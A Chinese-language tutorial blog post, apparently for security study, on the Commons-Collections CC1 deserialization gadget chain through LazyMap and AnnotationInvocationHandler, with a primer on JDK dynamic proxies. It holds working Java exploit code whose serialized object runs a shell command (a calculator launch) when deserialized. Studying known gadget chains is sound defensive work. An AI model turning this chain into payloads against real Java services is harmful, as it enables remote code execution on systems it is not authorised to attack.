Java反序列化Commons-Collections——CC1之LazyMap

0x01 前言

上篇分析了一下CC1链中的TransformedMap的反序列化攻击,下面分析一下LazyMap的反序列化攻击。

漏洞环境与TransformedMap相同,同样需要JDK8u65

0x02 调用链分析

Transformedmap相同,漏洞点仍然是InvokerTransformer#transform方法,所以之前的就不再赘述,这里直接开始看LazyMap

image-20250505213328843

LazyMap#get方法在map.containKey(Key) == false时会调用transform,所以当传入一个Map中不存在的key时,便可以触发transform的调用,编写一下exp

1
2
3
4
5
6
7
8
public static void exp1() throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[] { String.class}, new Object[] {"open -a Calculator"});
HashMap<Object, Object> hashMap = new HashMap<>();

Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);
lazyMap.get(runtime);
}

image-20250505234333709

成功弹出计算器。

这里证明LazyMap#get函数确实可行,再编写一下通过反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void exp2() throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[] { String.class},
new Object[] {"open -a Calculator"}
);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class clazz = LazyMap.class;
Method method = clazz.getDeclaredMethod("get", Object.class);
method.setAccessible(true);
method.invoke(decorateMap, runtime);
}

image-20250506001244238

接下来就是要找谁调用了LazyMap#get方法,直接findUsages。

最终找到AnnotationInvocationHandler#invoke,如下:

image-20250506001634590

0x03 JDK动态代理

在继续分析之前,这里补充一下JDK动态代理的知识。

一、原理

JDK动态代理是Java原生支持的代理模式实现,其核心在于运行时动态生成代理类,无需预先定义代理类代码。它基于接口实现,适用于需要为接口增强功能的场景。

1 核心类与接口

  • java.lang.reflect.Proxy:

    动态代理类的生成器,提供静态方法newProxyInstance创建代理对象。

    核心参数:

    • 类加载器ClassLoader):通常使用目标对象的类加载器 。
    • 接口数组(Class<?>[]):代理对象需实现的接口列表。
    • 调用处理器(InvocationHandler):处理方法调用逻辑的实例。
  • java.lang.reflect.InvocationHandler

    代理对象的方法调用处理器接口,需实现invoke方法。该方法在代理对象的所有方法调用时被触发,用于插入增强逻辑。

2 动态代理生成流程

  1. 接口定义:代理类必须实现目标接口。
  2. 目标对象创建:实现接口的具体类实例。
  3. 调用处理器实现:在invoke()中定义代理逻辑。
  4. 代理对象生成:通过Proxy.newProxyInstance动态生成代理类实例。

二 代码示例

1 示例

  1. 定义接口
1
2
3
public interface UserService {
void login(String usrname);
}
  1. 实现目标类
1
2
3
4
5
6
public class UserServiceImpl implements UserService {
@Override
public void login(String username) {
System.out.println(username + "登陆");
}
}
  1. 实现InvocationHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class LoggingHandler implements InvocationHandler {
private final Object target;

public LoggingHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("[日志]调用方法L: " + method.getName());
Object result = method.invoke(target, args);
System.out.println("[日志]方法执行完成");
return result;
}
}
  1. 生成代理对象
1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
UserService target = new UserServiceImpl();
UserService proxy = (UserService) Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
new LoggingHandler(target)
);
proxy.login("admin");
}

image-20250506193711472

2 核心方法详解

  • Proxy.newProxyInstance()
    动态生成代理类的字节码,并实例化代理对象。代理类默认命名为$ProxyN(N为递增数字),通过反射机制实现方法调用转发。
  • InvocationHandler.invoke()
    • 参数:
      • proxy:代理对象(通常避免直接调用器方法,否则可能导致递归)。
      • method:被调用的方法对象。
      • args:方法参数数组。
    • 返回值:代理方法执行结果,需要与目标方法返回类型兼容。

0x04 完整调用链分析

过完JDK动态代理,这里继续看链子的分析。

通过对JDK动态代理的了解,代理对象的invoke方法会在代理类的任意方法被调用时会被自动调用,所以这里可以利用动态代理实现对AnnotationInvocationHandler#invoke方法的调用。

这里先来看AnnotationInvocationHandler#readObject()方法

image-20250506195335905

可以看到,这里的memberValues调用了entrySet()方法,看下这个memberValues是什么:

image-20250506195747338

这个memberValues是在构造函数中,那么是不是可以将memberValues的值修改为代理对象,那么当代理对象’memberValues’调用entrySet()方法时,就会自动调用AnnotationInvocationHandler#invoke方法,从而触发整个调用链

直接来写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void exp4() throws Exception {
// runtime open -a Calculator
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 动态代理 AnnotationInvocationHandler 构造函数的 memberValues 参数
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
decoratedMap
);
Proxy proxy = (Proxy) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler
);
invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
proxy
);
serialize(invocationHandler);
deserialize("ser.bin");
}

image-20250506202317455

可以看到也是成功弹出了计算器。

0x05 总结

  • 总结一下调用链
1
2
3
4
5
6
7
8
9
10
调用链
InvokerTransformer#transform
LazyMap#get
AnnotationInvocationHandler#invoke
AnnotationInvocationHandler#readObject
辅助链:
ConstantTransformer
ChainedTransformer
HashMap
(Proxy)Map#entrySet